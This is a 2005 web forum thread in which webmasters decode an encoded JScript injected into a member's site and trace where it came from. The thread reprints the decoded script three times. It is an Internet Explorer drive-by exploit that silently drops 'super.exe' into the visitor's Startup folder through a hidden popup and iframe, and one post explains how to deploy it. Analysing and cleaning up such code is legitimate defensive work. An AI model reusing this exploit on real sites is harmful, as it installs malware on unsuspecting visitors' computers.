hey h@ckers

**Chris** · 01-27-2005, 10:15 AM

Encrypytd code

**Makingcoin** · 01-27-2005, 10:16 AM

Originally posted by JupZChris

Encrypytd code

Yes, can someone decrypt this?

**Chris** · 01-27-2005, 10:17 AM

Originally posted by Makingcoin

Yes, can someone decrypt this?

I barely can remember the alarm code

**Makingcoin** · 01-27-2005, 10:18 AM

Originally posted by JupZChris

I barely can remember the alarm code

LOL, this is out of our league then.. Anyone else?

**NaughtyINC** · 01-27-2005, 10:19 AM

i belive it says signup for coins cuties and push justsasha...

but i will forward this to someone i know that might be able to help ya out if hes still around

hope it gets sorted out bud..

**nofx** · 01-27-2005, 10:20 AM

"Kill All Americans"

**Makingcoin** · 01-27-2005, 10:20 AM

Originally posted by NaughtyINC

i belive it says signup for coins cuties and push justsasha...

but i will forward this to someone i know that might be able to help ya out if hes still around

hope it gets sorted out bud..

That too. ;)

**ytcracker** · 01-27-2005, 10:20 AM

www.samspade.org used to have tools for this shit

does it still? i dunno

**Poland** · 01-27-2005, 10:21 AM

theres a tool around here somewhere that decodes that shit, might be the one yt is talking about, i forget

**Thurbs** · 01-27-2005, 10:30 AM

i like the general there's a tool comment .. u'd need the tool used and in many cases, to know the key length used to generate the encryption, ie RSA / Blowfish / 512s / 1028 and so on. But if you have time to waste, see "InLine Encryption" and that should help you.

**adultpixel** · 01-27-2005, 10:35 AM

hmm... just called CTU but jack bauer is still in the field. hold on... chlooooeeee!!

**swedguy** · 01-27-2005, 10:43 AM

http://www.greymagic.com/security/tools/decoder/

**Libertine** · 01-27-2005, 10:53 AM

Could you post the page where you found it?

**Harmon** · 01-27-2005, 10:59 AM

send me a text file of this to genbucks[at]gmail.com and I will see what my bud can do

**austinth** · 01-27-2005, 11:15 AM

try here: http://netdemon.net/decode.html

**Harmon** · 01-27-2005, 11:17 AM

Originally posted by austinth

try here: http://netdemon.net/decode.html

This is not an encrypted URL, it's encrypted Jscript

**austinth** · 01-27-2005, 11:24 AM

i know,but that site has links to sites that can decode script. i tried a few of them but they didnt' work

**Makingcoin** · 01-27-2005, 11:46 AM

Originally posted by punkworld

Could you post the page where you found it?

http://www.moviesguy.com

**SmokeyTheBear** · 01-27-2005, 11:48 AM

hold on and ill track it down.

**Makingcoin** · 01-27-2005, 11:48 AM

Originally posted by Harmon

send me a text file of this to genbucks[at]gmail.com and I will see what my bud can do

Email has been sent, I also included the html of where it was found.

Thanks

**Libertine** · 01-27-2005, 11:48 AM

Originally posted by Makingcoin

http://www.moviesguy.com

It isn't in the code anymore. Would you still happen to have a non-hahaha'd version of the code?

**warhammer_ro** · 01-27-2005, 11:49 AM

Alien words ? lol

**Makingcoin** · 01-27-2005, 11:50 AM

Originally posted by punkworld

It isn't in the code anymore. Would you still happen to have a non-hahaha'd version of the code?

Some people don't get it. Is that your first visit to the site?

**SmokeyTheBear** · 01-27-2005, 11:52 AM

its trying to download something called super.exe ?

**austinth** · 01-27-2005, 11:54 AM

yeah, i got hit with it last night from dv . com luckily my system stopped it right away.

**SmokeyTheBear** · 01-27-2005, 11:57 AM

the code in on page http://earthunplugged.org/abbaz.html

**Libertine** · 01-27-2005, 12:01 PM

Originally posted by SmokeyTheBear

the code in on page http://earthunplugged.org/abbaz.html

Ah, finally, something to work with.

Here's the thing:

Code:

<SCRIPT LANGUAGE="JScript.Encode">


var pop;
var uploaded;
var obj;
var burl;
var hiddenImg;
var totalobj;

if(!uploaded)
{
	burl="/super.exe";
}

function initpop()
{
        if(!pop)
        {
       	pop=window.createPopup();
	var oBody = pop.document.body;


        pop.document.bgColor="black";
	oBody.style.border = "solid black 0px";
	oBody.style.position="absolute";
	oBody.style.left= "0";
	oBody.style.top= "0";
	var temp;
	temp='<DIV style="position:relative;"><a href="'+"#\" onBlur='parent.document.getElementById(\"i_frame\").style.visibility=\"hidden\"' ";
	temp+=
"onMouseOut='document.getElementById(\"client\").style.visibility=\"hidden\"' \
OnMouseOver='document.getElementById(\"client\").style.visibility=\"visible\"' \
onMouseDown='parent.document.getElementById(\"i_frame\").style.visibility=\"visible\";parent.pop.show(1,1,1,1);parent.uploaded=1;parent.DoClick();'> \
I\
<DIV  ID=\"client\" STYLE=\"visibility:hidden; position:absolute; top:-25; left:-25;\">\
<img nocache border=1 style=\"width=500px;heigth=500px; cursor:hand;\" dynsrc=\""+burl+"\" ></div></a></div>";


        oBody.innerHTML=temp;
       	}
}

function clean()
{
	uploaded=1;
        if(pop)
        	pop.hide();
}

if(!uploaded)
{
        initpop();
	window.onbeforeunload=clean;
}


function DoClick()
{
	window.setTimeout('obj.click();',300);
}

function showpop()
{
        if(uploaded)
        	return;
        obj=window.event.srcElement;
        if(!pop)
        {
        	initpop();
       	}

	pop.show(window.event.screenX,window.event.screenY,1,1);
	document.getElementById("i_frame").style.left=window.event.screenX-window.screenLeft-document.body.clientLeft+document.body.scrollLeft;
	document.getElementById("i_frame").style.top=window.event.screenY-window.screenTop-document.body.clientTop+document.body.scrollTop;
}


function SetAllEvents()
{
	totalobj=document.all.length;
	for(i = 0; i < document.all.length; i++){
	   if(document.all(i).tagNamehahahaha"A" && document.all(i).id!="clientcall")
		document.all(i).onmousemove=showpop;}
}

if(!uploaded)
{
	setTimeout("SetAllEvents();", 400);

	document.write('<div  id=i_frame name=i_frame  STYLE="visibility:hidden;position:absolute;top=0;left=0;width:1;height:1;overflow:hidden"><iframe frameborder="1" name="clientframe" id="clientframe"  style="position:relative;top=-250;left=-440;width:700;height:700;"></iframe></div>');
	document.write('<a folder="shell:startup" target="clientframe" id="clientcall" style="visibility:hidden;display:none;behavior:url(#default#AnchorClick);"></a>');
	document.getElementById("clientcall").click();
	document.write('<iframe src="about:blank" style="visibility:hidden;display:none;"></iframe>');
}

</script>

**Donners** · 01-27-2005, 12:04 PM

Code:



var pop;
var uploaded;
var obj;
var burl;
var hiddenImg;
var totalobj;

if(!uploaded)
{
	burl="/super.exe";
}

function initpop()
{
        if(!pop)
        {
       	pop=window.createPopup();
	var oBody = pop.document.body;


        pop.document.bgColor="black";
	oBody.style.border = "solid black 0px";
	oBody.style.position="absolute";
	oBody.style.left= "0";
	oBody.style.top= "0";
	var temp;
	temp='<DIV style="position:relative;"><a href="'+"#\" onBlur='parent.document.getElementById(\"i_frame\").style.visibility=\"hidden\"' ";
	temp=
"onMouseOut='document.getElementById(\"client\").style.visibility=\"hidden\"' \
OnMouseOver='document.getElementById(\"client\").style.visibility=\"visible\"' \
onMouseDown='parent.document.getElementById(\"i_frame\").style.visibility=\"visible\";parent.pop.show(1,1,1,1);parent.uploaded=1;parent.DoClick();'> \
I\
<DIV  ID=\"client\" STYLE=\"visibility:hidden; position:absolute; top:-25; left:-25;\">\
<img nocache border=1 style=\"width=500px;heigth=500px; cursor:hand;\" dynsrc=\""+burl+"\" ></div></a></div>";


        oBody.innerHTML=temp;
       	}
}

function clean()
{
	uploaded=1;
        if(pop)
        	pop.hide();
}

if(!uploaded)
{
        initpop();
	window.onbeforeunload=clean;
}


function DoClick()
{
	window.setTimeout('obj.click();',300);
}

function showpop()
{
        if(uploaded)
        	return;
        obj=window.event.srcElement;
        if(!pop)
        {
        	initpop();
       	}

	pop.show(window.event.screenX,window.event.screenY,1,1);
	document.getElementById("i_frame").style.left=window.event.screenX-window.screenLeft-document.body.clientLeft+document.body.scrollLeft;
	document.getElementById("i_frame").style.top=window.event.screenY-window.screenTop-document.body.clientTopdocument.body.scrollTop;
}


function SetAllEvents()
{
	totalobj=document.all.length;
	for(i = 0; i < document.all.length; i+){
	   if(document.all(i).tagNamehahahaha"A" && document.all(i).id!="clientcall")
		document.all(i).onmousemove=showpop;}
}

if(!uploaded)
{
	setTimeout("SetAllEvents();", 400);

	document.write('<div  id=i_frame name=i_frame  STYLE="visibility:hidden;position:absolute;top=0;left=0;width:1;height:1;overflow:hidden"><iframe frameborder="1" name="clientframe" id="clientframe"  style="position:relative;top=-250;left=-440;width:700;height:700;"></iframe></div>');
	document.write('<a folder="shell:startup" target="clientframe" id="clientcall" style="visibility:hidden;display:none;behavior:url(#default#AnchorClick);"></a>');
	document.getElementById("clientcall").click();
	document.write('<iframe src="about:blank" style="visibility:hidden;display:none;"></iframe>');
}

whoala

**austinth** · 01-27-2005, 12:05 PM

nice work punkworld! what did you use?

**SmokeyTheBear** · 01-27-2005, 12:06 PM

Originally posted by punkworld

Ah, finally, something to work with.

Here's the thing:

Cool thanx, its an exploit that has been patched already , heres another example of it no encoded in practise http://earthunplugged.org/aa/

and yes what did you use to decode that with , i always come across those..

**Makingcoin** · 01-27-2005, 12:10 PM

Is super.exe loading off of the same server as the code is on?

**strongdong** · 01-27-2005, 12:10 PM

how do you get rid of this??

**SmokeyTheBear** · 01-27-2005, 12:11 PM

eye.c.q # 219681950 hit me up punk

**SmokeyTheBear** · 01-27-2005, 12:11 PM

Originally posted by Makingcoin

Is super.exe loading off of the same server as the code is on?

yes , so if you put that code on you page and a file called super.exe it will automatically get installed in the victims startup folder.

but ms has patched that

**SmokeyTheBear** · 01-27-2005, 12:12 PM

Originally posted by strongdong

how do you get rid of this??

go to your start bar > programs>startup then right click and delete the file called super.exe

**strongdong** · 01-27-2005, 12:14 PM

super.exe is NOT on this server

**strongdong** · 01-27-2005, 12:14 PM

I meant, how do you get rid of it server-side?

**Makingcoin** · 01-27-2005, 12:16 PM

This is strongdong's server if you are confused. He is trying to get rid of it. I am trying to help him.

**V_RocKs** · 01-27-2005, 12:20 PM

You have been hacked. Someone has replaced your httpd file with their own. To quickly fix the problem, add a space to the end of your body tag:
blah blah color=000000 >
and it should go away. Next, have your host recompile and restart apache. Then get me on ICQ, 161124816

**swedguy** · 01-27-2005, 12:25 PM

Originally posted by SmokeyTheBear

and yes what did you use to decode that with , i always come across those..

http://www.greymagic.com/security/tools/decoder/

**Libertine** · 01-27-2005, 12:28 PM

Originally posted by SmokeyTheBear

Cool thanx, its an exploit that has been patched already , heres another example of it no encoded in practise http://earthunplugged.org/aa/

and yes what did you use to decode that with , i always come across those..

Windows Script Decoder:
http://www.virtualconspiracy.com/ind...crdec/download

**strongdong** · 01-27-2005, 12:28 PM

V Rocks... I'm trying to contact you on icq, it's my server... 78861564

**SmokeyTheBear** · 01-27-2005, 12:42 PM

Originally posted by punkworld

Windows Script Decoder:
http://www.virtualconspiracy.com/ind...crdec/download

thanks , and swedguy too

**Rui** · 01-27-2005, 01:00 PM

Holy shit, that is indeed one nasty piece of code.

punkworld - do you have experience in this area (encrypted javascript not trojans)?

**Harmon** · 01-27-2005, 01:19 PM

This is it decrypted:

Code:

< SCRIPT language = JScript.Encode > var pop;
var uploaded;
var obj;
var burl;
var hiddenImg;
var totalobj;
if(!uploaded)
{
	burl = "/super.exe";
}

function initpop()
{
	if(!pop)
	{
		pop = window.createPopup();
		var oBody = pop.document.body;
		pop.document.bgColor = "black";
		oBody.style.border = "solid black 0px";
		oBody.style.position = "absolute";
		oBody.style.left = "0";
		oBody.style.top = "0";
		var temp;
		temp = '<DIV style="position:relative;"><a href="' + "#\" onBlur='parent.document.getElementById(\"i_frame\").style.visibility=\"hidden\"' ";
		temp += "onMouseOut='document.getElementById(\"client\").style.visibility=\"hidden\"' \
OnMouseOver='document.getElementById(\"client\").style.visibility=\"visible\"' \
onMouseDown='parent.document.getElementById(\"i_frame\").style.visibility=\"visible\";parent.pop.show(1,1,1,1);parent.uploaded=1;parent.DoClick();'> \
I\
<DIV  ID=\"client\" STYLE=\"visibility:hidden; position:absolute; top:-25; left:-25;\">\
<img nocache border=1 style=\"width=500px;heigth=500px; cursor:hand;\" dynsrc=\"" + burl + "\" ></div></a></div>";
		oBody.innerHTML = temp;
	}
}

function clean()
{
	uploaded = 1;
	if(pop)
		pop.hide();
}

if(!uploaded)
{
	initpop();
	window.onbeforeunload = clean;
}

function DoClick()
{
	window.setTimeout('obj.click();', 300);
}

function showpop()
{
	if(uploaded)
		return;

	obj = window.event.srcElement;
	if(!pop)
	{
		initpop();
	}

	pop.show(window.event.screenX, window.event.screenY, 1, 1);
	document.getElementById("i_frame").style.left = window.event.screenX - window.screenLeft - document.body.clientLeft + document.body.scrollLeft;
	document.getElementById("i_frame").style.top = window.event.screenY - window.screenTop - document.body.clientTop + document.body.scrollTop;
}

function SetAllEvents()
{
	totalobj = document.all.length;
	for(i = 0; i < document.all.length; i++)
	{
		if(document.all(i).tagName hahahaha "A" && document.all(i).id != "clientcall")
			document.all(i).onmousemove = showpop;
	}
}

if(!uploaded)
{
	setTimeout("SetAllEvents();", 400);
	document.write('<div  id=i_frame name=i_frame  STYLE="visibility:hidden;position:absolute;top=0;left=0;width:1;height:1;overflow:hidden"><iframe frameborder="1" name="clientframe" id="clientframe"  style="position:relative;top=-250;left=-440;width:700;height:700;"></iframe></div>');
	document.write('<a folder="shell:startup" target="clientframe" id="clientcall" style="visibility:hidden;display:none;behavior:url(#default#AnchorClick);"></a>');
	document.getElementById("clientcall").click();
	document.write('<iframe src="about:blank" style="visibility:hidden;display:none;"></iframe>');
}

 <  / SCRIPT >

EDIT: oops, ya got it already

**Harmon** · 01-27-2005, 01:20 PM

You can get your own standalone decoder here: http://www.programurl.com/software-s...wnloadnow.html

hey h@ckers

hey h@ckers

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment